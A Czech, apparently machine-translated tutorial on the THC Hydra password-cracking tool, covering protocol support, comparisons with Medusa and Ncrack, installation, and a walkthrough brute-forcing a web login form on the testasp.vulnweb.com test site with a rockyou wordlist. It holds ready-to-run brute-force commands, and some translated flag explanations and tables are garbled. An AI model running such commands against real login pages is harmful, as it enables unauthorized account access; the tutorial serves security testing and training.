Heslo je technicky definováno jako tajný řetězec znaků používaný k autentizaci nebo získání přístupu k prostředkům. Musí být utajeno a skryto před ostatními, kteří nemají přístup k těmto zdrojům. Hesla se v počítačích používají od nejranějších dnů práce na počítači. Jeden z prvních systémů sdílení byl představen v roce 1961. Měl přihlašovací příkaz, který vyžadoval heslo uživatele. Po zadání HESLA systém pokud možno vypne tiskový mechanismus, aby uživatel mohl zadat své heslo se soukromím.
Síla hesla je funkcí délky, složitosti a nepředvídatelnosti. Měří účinnost při vzdorování hádání nebo zlomení. Slabá hesla na druhé straně zkracují čas nutný k hádání a získání přístupu k osobním/firemním e-mailům, citlivým údajům, jako jsou finanční informace, obchodní informace, kreditní karty atd.
Existuje mnoho způsobů, jak může být heslo slabé, což odpovídá síle sil různých schémat útoků. Nejoblíbenějším z tohoto druhu útoku na pověření je hrubá síla. je to metoda pokusu a omylu, jako je hádání, pokus o dekódování zašifrovaných dat, jako je heslo nebo šifrování dat používané aplikačním programem nebo hackovacím nástrojem.
Hydra je nejrychlejší crack pro přihlášení do sítě, který podporuje mnoho útočných protokolů. Je velmi rychlý a flexibilní a nové moduly lze snadno přidávat. Tento nástroj umožňuje výzkumným pracovníkům a bezpečnostním poradcům ukázat, jak snadné by bylo získat neoprávněný přístup k systému na dálku. Hydru napsal van Hauser a navíc ji podpořil David Maciejak. V nejnovější aktualizaci je vývoj hydry přesunut do veřejného úložiště github na adrese: https://github.com/vanhauser-thc/thc-hydra.
Hydra byla testována ke kompilaci na Linuxu, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX/Blackberry a je k dispozici pod GPLv3 se speciální licenční expanzí OpenSSL.
THC Hydra podporuje tyto protokoly: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 a v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC a XMPP.
POROVNÁNÍ HYDRY S OSTATNÍMI PORUŠUJÍCÍMI NÁŘADÍM
Kromě hydry existuje také mnoho nástrojů pro crack přihlašování, ale žádný nepodporuje obrovský seznam protokolů a podporu paralelizovaného přihlašování crackerů, jako to dělá hydra. Níže uvedené tabulky ukazují výsledek porovnávání funkcí, služeb a rychlostí proti medusa a ncrack.
Funkce
Vlastnosti | Hydra | Medúza | Ncrack |
Licence | AGPLv3 | GPLv2 | Podmínky GPLv2 + Nmap |
Podpora IPv6 | Ano | Ne | Ne |
Grafické uživatelské rozhraní | Ano | Ano | Ne |
Internacionalizovaná podpora (RFC 4013) | Ano | Ne | Ne |
Podpora HTTP proxy | Ano | Ano | Ne |
SOCKS podpora proxy | Ano | Ne | Ne |
Podporované protokoly | 51 | 22 | 7 |
Služby
Servis | Podrobnosti | Hydra | Medúza | Ncrack |
ADAM-6500 | Ano | Ne | Ne | |
AFP | Ano | Ano | Ne | |
Hvězdička | Ano | Ne | Ne | |
Heslo Cisco | Ano | Ne | Ne | |
Povolit Cisco | Ano | Ne | Ne | |
CVS | Ano | Ano | Ne | |
Fénix | Ano | Ne | Ne | |
FTP | Ano | Ano | Ano | |
Podpora SSL | AUTHOVAT TLS a FTP přes SSL | AUTHOVAT TLS a FTP přes SSL | Ne | |
HTTP | Metody) | ZÍSKEJTE, HLAVU, POST | DOSTAT | DOSTAT |
Základní ověřování | Ano | Ano | Ano | |
HTTP formulář | Metody) | ZÍSKEJTE, POST | ZÍSKEJTE, POST | Ne |
Podpora SSL | HTTPS | HTTPS | Ne | |
Proxy HTTP | Základní ověřování | Ano | Ne | Ne |
DIGEST-MD5 Auth | Ano | Ne | Ne | |
Ověření NTLM | Ano | Ne | Ne | |
Podpora SSL | HTTPS | Ne | Ne | |
Výčet URL PROXY HTTP | Ano | Ne | Ne | |
ICQ | v5 | Ano 1 | Ne | Ne |
IMAP | PŘIHLÁŠENÍ podpora | Ano | Ano | Ne |
AUTH LOGIN podpora | Ano | Ne | Ne | |
AUTH PLAIN podpora | Ano | Ano | Ne | |
Podpora AUTH CRAM-MD5 | Ano | Ne | Ne | |
AUTH CRAM-SHA1 podpora | Ano | Ne | Ne | |
Podpora AUTH CRAM-SHA256 | Ano | Ne | Ne | |
AUTH DIGEST-MD5 podpora | Ano | Ne | Ne | |
AUTH podpora NTLM | Ano | Ano | Ne | |
AUTH SCRAM-SHA1 podpora | Ano | Ne | Ne | |
Podpora SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | Ne | |
IRC | Obecné heslo serveru | Ano | Ne | Ne |
Heslo v režimu OPER | Ano | Ne | Ne | |
LDAP | v2, Jednoduchá podpora | Ano | Ne | Ne |
v3, Jednoduchá podpora | Ano | Ne | Ne | |
v3, podpora AUTH CRAM-MD5 | Ano | Ne | Ne | |
AUTH DIGEST-MD5 podpora | Ano | |||
AUTH podpora NTLM | Ano | Ano | ||
AUTH SCRAM-SHA1 podpora | Ano | |||
Podpora SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | Obecné heslo serveru | Ano | ||
Heslo v režimu OPER | Ano | |||
LDAP | v2, Jednoduchá podpora | Ano | ||
v3, Jednoduchá podpora | Ano | |||
v3, podpora AUTH CRAM-MD5 | Ano | |||
v3, AUTH DIGEST-MD5 podpora | Ano | |||
MS-SQL | Ano | Ano | ||
MySQL | v3.x | Ano | Ano | |
v4.x | Ano | Ano | ||
v5.x | Ano | Ano | ||
NCP | Ano | Ano | ||
NNTP | UŽIVATELSKÁ podpora | Ano | Ano | |
AUTH LOGIN podpora | Ano | |||
AUTH PLAIN podpora | Ano | |||
Podpora AUTH CRAM-MD5 | Ano | |||
AUTH DIGEST-MD5 podpora | Ano | |||
AUTH podpora NTLM | Ano | |||
Podpora SSL | STARTTLS & NNTP přes SSL | |||
Věštec | Databáze | Ano | Ano | |
Posluchač TNS | Ano | |||
Výčet SID | Ano | |||
PC-NFS | Ano | |||
pcKdekoli | Nativní autentizace | Ano | Ano | |
Ověření na základě OS (MS) | Ano | |||
POP3 | UŽIVATELSKÁ podpora | Ano | Ano | Ano |
Podpora APOP | Ano | |||
AUTH LOGIN podpora | Ano | Ano | ||
AUTH PLAIN podpora | Ano | Ano | ||
Podpora AUTH CRAM-MD5 | Ano | |||
AUTH CRAM-SHA1 podpora | Ano | |||
Podpora AUTH CRAM-SHA256 | Ano | |||
AUTH DIGEST-MD5 podpora | Ano | |||
AUTH podpora NTLM | Ano | Ano | ||
Podpora SSL | POP3S & STARTTLS | POP3S & STARTTLS | POP3S | |
PostgreSQL | Ano | Ano | ||
Hvězdička | Ano | |||
PRV | Windows Workstation | Ano | Ano | Ano |
Windows Server | Ano | Ano | ||
Ověření domény | Ano | Ano | ||
REDIS | Ano | Ne | ||
REXEC | Ano | Ano | ||
PŘIHLÁSIT | Ano | Ano | ||
RPCAP | Ano | Ne | ||
RSH | Ano | Ano | ||
RTSP | Ano | Ne | ||
SAP R / 3 | Ano | |||
Siemens S7-300 | Ano | |||
SIP | Ano | |||
Podpora SSL | SIP přes SSL | |||
SMB | Režim NetBIOS | Ano | Ano | Ne |
Nativní režim W2K | Ano | Ano | Ano | |
Režim hash | Ano | Ano | Ne | |
Vymazat ověřování textu | Ano | Ano | ||
LMv1 Auth | Ano | Ano | Ano | |
LMv2 Auth | Ano | Ano | Ano | |
Ověření NTLMv1 | Ano | Ano | Ano | |
Ověření NTLMv2 | Ano | Ano | Ano | |
SMTP | AUTH LOGIN podpora | Ano | Ano | |
AUTH PLAIN podpora | Ano | Ano | ||
Podpora AUTH CRAM-MD5 | Ano | |||
AUTH DIGEST-MD5 podpora | Ano | |||
AUTH podpora NTLM | Ano | Ano | ||
Podpora SSL | SMTPS & STARTTLS | SMTPS & STARTTLS | ||
Výčet uživatelů SMTP | VRFY cmd | Ano | Ano | |
EXPN cmd | Ano | Ano | ||
RCPT TO cmd | Ano | Ano | ||
SNMP | v1 | Ano | Ano | |
v2c | Ano | Ano | ||
v3 | (Pouze MD5/SHA1 ověření) | |||
PONOŽKY | v5, ověření hesla | Ano | ||
SSH | v1 | Ano | ||
v2 | Ano | Ano | Ano | |
Klíče SSH | v1, v2 | Ano | ||
Subversion (SVN) | Ano | Ano | ||
TeamSpeak | TS2 | Ano | ||
Telnet | Ano | Ano | Ano | |
XMPP | AUTH LOGIN podpora | Ano | ||
AUTH PLAIN podpora | Ano | |||
Podpora AUTH CRAM-MD5 | Ano | |||
AUTH DIGEST-MD5 podpora | Ano | |||
AUTH SCRAM-SHA1 podpora | Ano | |||
Démon VMware Auth | v1.00 / v1.10 | Ano | Ano | |
Podpora SSL | Ano | Ano | ||
VNC | Podpora hesla RFB 3.x | Ano | Ano | |
Podpora uživatele RFB 3.x+hesla | (Pouze UltraVNC) | |||
Podpora hesla RFB 4.x | Ano | Ano | ||
Podpora uživatele RFB 4.x+hesla | (Pouze UltraVNC) |
Porovnání rychlosti
Rychlost (v s) | Hydra | Medúza | Ncrack |
1 Úkol / FTP modul | 11,93 | 12,97 | 18.01 |
4 Úkoly / modul FTP | 4.20 | 5.24 | 9.01 |
16 Úkoly / modul FTP | 2,44 | 2,71 | 12.01 |
1 Modul Task / SSH v2 | 32,56 | 33,84 | 45,02 |
4 Úkoly / modul SSH v2 | 10,95 | Zlomený | Zmeškané |
16 Úkoly / modul SSH v2 | 5.14 | Zlomený | Zmeškané |
To byl stručný jednoduchý úvod do hydry. Nyní přejdeme k instalaci.
INSTALACE HYDRA
Hydra je předinstalována na kali linuxu, ale pokud máte jiný operační systém, můžete jej zkompilovat a nainstalovat do svého systému. Aktuálně podpora hydry na různých platformách:
- Všechny platformy UNIX (Linux, *bsd, Solaris atd.)
- MacOS (v podstatě klon BSD)
- Windows s Cygwin (IPv4 i IPv6)
- Mobilní systémy založené na Linuxu, MacOS nebo QNX (např. Android, iPhone, Blackberry 10, Zaurus, iPaq)
Chcete -li stáhnout, konfigurovat, zkompilovat a nainstalovat hydra, stačí zadat do terminálu:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Pokud máte Ubuntu/Debian, budete potřebovat nějaké knihovny závislostí:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
Pokud jste tyto knihovny ve svém úložišti nenašli, musíte si je stáhnout a nainstalovat ručně.
JAK SE HYDRA POUŽÍVÁ
Blahopřejeme, nyní se vám podařilo nainstalovat hydru do vašeho systému. Hydra ve skutečnosti přichází se dvěma příchutěmi, GUI-gtk a mojí oblíbenou, CLI verzí. a navíc hydra má také verzi s průvodcem CLI, nazývanou hydra-wizard. Budete vedeni krok za krokem, místo abyste do terminálu ručně zadávali všechny příkazy nebo argumenty. Chcete -li spustit hydra, z vašeho typu terminálu:
Pro CLI:
hydra
Pro průvodce CLI:
hydra-wizard
Pro GUI:
xhydra
Jakmile zadáte „hydra“, zobrazí se následující příkazy nápovědy:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Webové přihlášení Bruteforce pomocí hydra
Hydra podporuje některé služby bruteforcing, jak jsem již zmínil, jeden z nich se používá k bruteforce webového přihlášení, jako je přihlašovací formulář na sociální média, přihlašovací formulář pro bankovní bankovnictví, webové přihlášení k routeru atd. Tato http [s] -get-forma který tuto žádost vyřídí. V tomto tutoriálu vám ukážu, jak bruteforce zranitelné webové přihlášení. Než vypálíme hydru, měli bychom znát některé potřebné argumenty, například níže:
- cílová : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Přihlašovací uživatelské jméno : admin (pokud si nejste jisti, zkuste to brutálně)
- Seznam hesel : Umístění seznamu slovníkových souborů obsahujících možná hesla.
- Parametry formuláře : pro obecné použití použijte tamper data nebo proxy k získání formuláře parametrů požadavku. Ale zde používám Iceweasel, panel nástrojů pro vývojáře na bázi Firefoxu.
- Servisní modul : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
Získání parametrů příspěvku pomocí prohlížeče, Iceweasel/Firefox
V prohlížeči Firefox stiskněte klávesy „ CTRL + SHIFT + Q ‘. Poté otevřete webovou přihlašovací stránkuhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, všimnete si, že se na kartě vývojáře sítě objevil nějaký text. Říká vám, jaké soubory jsou k nám přeneseny. Podívejte se, jak jsou všechny metody ZÍSKANÉ, protože zatím nemáme žádná data.
Chcete-li získat parametry po formuláři, zadejte cokoli ve formuláři uživatelské jméno nebo heslo. Na kartě vývojáře sítě si všimnete nové metody POST. Poklepejte na tento řádek, na kartě Záhlaví klikněte na tlačítko Upravit a znovu odeslat na pravé straně. Na těle žádosti zkopírujte poslední řádek, například tfUName = asu & tfUPass = raimu . the tfUName a tfUPass jsou parametry, které potřebujeme. Jak je vidět níže:
Kali linux má spoustu seznamů slov, vyberte příslušný seznam slov nebo použijte místo v souboru rockyou.txt /usr/share/seznamy slov/ jak je vidět níže:
Dobře, teď máme všechny potřebné argumenty a jsme připraveni vypálit hydru. Zde je vzor příkazu:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
Pojďme si rozebrat příkazy:
- the : je slovo obsahující účet uživatelského jména, použijte -L k odkazu na seznam možných uživatelských jmen v souboru.
- P : je seznam možných hesel, použijte -p k doslovnému použití jednoslovného hesla místo jeho uhodnutí.
- testapp.vunlwebapp.com : je název hostitele nebo cíl
- http-post-formulář : je servisní modul, který používáme
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = potřebné 3 parametry, syntaxe je:
{page URL}: {Request post body form parameters}: S = {Find what on the page after successfully logged in} - proti = Podrobný režim
- PROTI = zobrazit přihlášení: pro každý pokus
- F = Ukončit program, pokud je nalezeno párové přihlášení: heslo
Nyní nechme hydru, aby se pokusila prolomit heslo pro nás, potřebuje čas, protože se jedná o slovníkový útok. Jakmile se vám podaří najít dvojici přihlášení: heslo, hydra okamžitě ukončí úlohu a zobrazí platné přihlašovací údaje.
Je toho tolik, co by hydra mohla udělat, protože v tomto tutoriálu jsme se právě naučili, jak bruteforce webového přihlášení pomocí hydra, učíme se pouze jeden protokol, to je protokol http-post-form. Můžeme také použít hydra proti jinému protokolu, jako je ssh, ftp, telnet, VNC, proxy atd.